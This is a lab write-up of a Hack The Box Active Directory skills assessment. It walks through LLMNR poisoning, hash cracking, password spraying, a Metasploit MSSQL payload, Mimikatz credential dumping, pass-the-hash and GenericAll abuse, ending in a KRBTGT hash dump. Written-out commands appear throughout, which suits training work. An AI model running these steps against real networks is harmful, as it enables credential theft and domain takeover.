AD Enumeration & Attacks Skills Assessment Part II

Question 1 — Obtain a password hash for a domain user account that can be leveraged to gain a foothold in the domain. What is the account name?

When I first read the question, my first thought was LLMNR/NBT-NS Poisoning, because of the title in the HTB module (foothold). Ran responder and got the user and hash:

bash
sudo responder -I ens224
Responder Hash Captured

Question 2 — What is this user's cleartext password?

Cracked the hash with hashcat and got the password:

Hashcat

Question 3 — Submit the contents of the C:\flag.txt file on MS01.

First find the IP of MS01 by running fping to get all active IPs:

bash
fping -asgq 172.16.7.0/23
fping

Ran an nmap scan and found 172.16.7.50 is MS01. Checked if our credentials are valid with crackmapexec:

CME Check CME Result

Used WinRM to login and get the flag:

WinRM Flag

Question 4 & 5 — Use a common method to obtain weak credentials for another user. Submit the username and password.

Logged in using xfreerdp for easy tool transfer, using SSH dynamic port forwarding:

bash
ssh -D 9050 <user>@<ip>
SSH Tunnel
Note: change/add the proxychains config to use socks4
xfreerdp

Used PowerView to get the user count (I also used crackmapexec for the same — just wanted to show the count to justify using DomainPasswordSpray):

powershell
Import-Module .\PowerView.ps1
Get-NetUser | Select-Object -ExpandProperty SamAccountName | Measure-Object
User Count

Ran DomainPasswordSpray with common passwords and found the username and password:

Password Spray

Question 6 — Locate a configuration file containing an MSSQL connection string. What is the password for the user listed in this file?

Used smbmap to enumerate share permissions and found the file in Department Shares:

smbmap Config File

Question 7 — Submit the contents of the flag.txt file on the Administrator Desktop on SQL01.

Logged in using mssqlclient with the credentials we found. SeImpersonatePrivilege was enabled — this allows impersonating other users including SYSTEM, which we can exploit for privilege escalation.

SeImpersonatePrivilege

Used Metasploit for ease:

bash
use exploit/windows/mssql/mssql_payload
set LHOST 172.16.7.240
set RHOSTS 172.16.7.60
set USERNAME <user>
set PASSWORD <password>
Metasploit

Ran getsystem and retrieved the flag:

Flag SQL01

Question 8 — Submit the contents of the flag.txt file on the Administrator Desktop on MS01.

Tried different methods, settled on mimikatz. Uploaded and ran it to get the mssqlsvc password:

Mimikatz Upload
cmd
privilege::debug
sekurlsa::logonpasswords
Mimikatz Output Password

Logged in via xfreerdp with a shared tools directory and dumped the Administrator hash with mimikatz:

bash
proxychains xfreerdp /v:'172.16.7.50' /u:"inlanefreight.local\<username>" /p:'<password>' /cert:ignore /drive:Shared,/opt/test
xfreerdp

Passed the hash with evil-winrm to login as Administrator and get the flag:

bash
evil-winrm -i <ip> -u Administrator -H <hash>
Flag MS01

Question 9 — Obtain credentials for a user who has GenericAll rights over the Domain Admins group. What's this user's account name?

Used PowerView to enumerate ACLs on the Domain Admins group:

powershell
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity "CN=Domain Admins,CN=Users,DC=inlanefreight,DC=local" | Where-Object { $_.ActiveDirectoryRights -like "*GenericAll*"}
ConvertFrom-SID <sid>
GenericAll

Question 10 — Crack this user's password hash and submit the cleartext password.

The hint pointed back to our initial foothold method — LLMNR/NBT-NS Poisoning. Ran Inveigh.exe and captured the hash:

Inveigh

Cracked it with hashcat:

bash
hashcat -m 5600 <file>
Hashcat

Question 11 — Submit the contents of the flag.txt file on the Administrator desktop on DC01.

This took some time. Eventually realized GenericAll gives the ability to add or remove group members. Used runas to operate as CT***, added our user to Domain Admins, then created a credential object and got the flag:

powershell
runas /netonly /user:<user> powershell.exe
Net group "domain admins" <username> /add /domain
$cred = New-Object System.Management.Automation.PSCredential("INLANEFREIGHT\<username>", (ConvertTo-SecureString "<password>" -AsPlainText -Force))
Enter-PSSession -ComputerName DC01 -Credential $cred
Flag DC01

Question 12 — Submit the NTLM hash for the KRBTGT account after achieving domain compromise.

Copied mimikatz to DC01 and dumped the hash:

KRBTGT Hash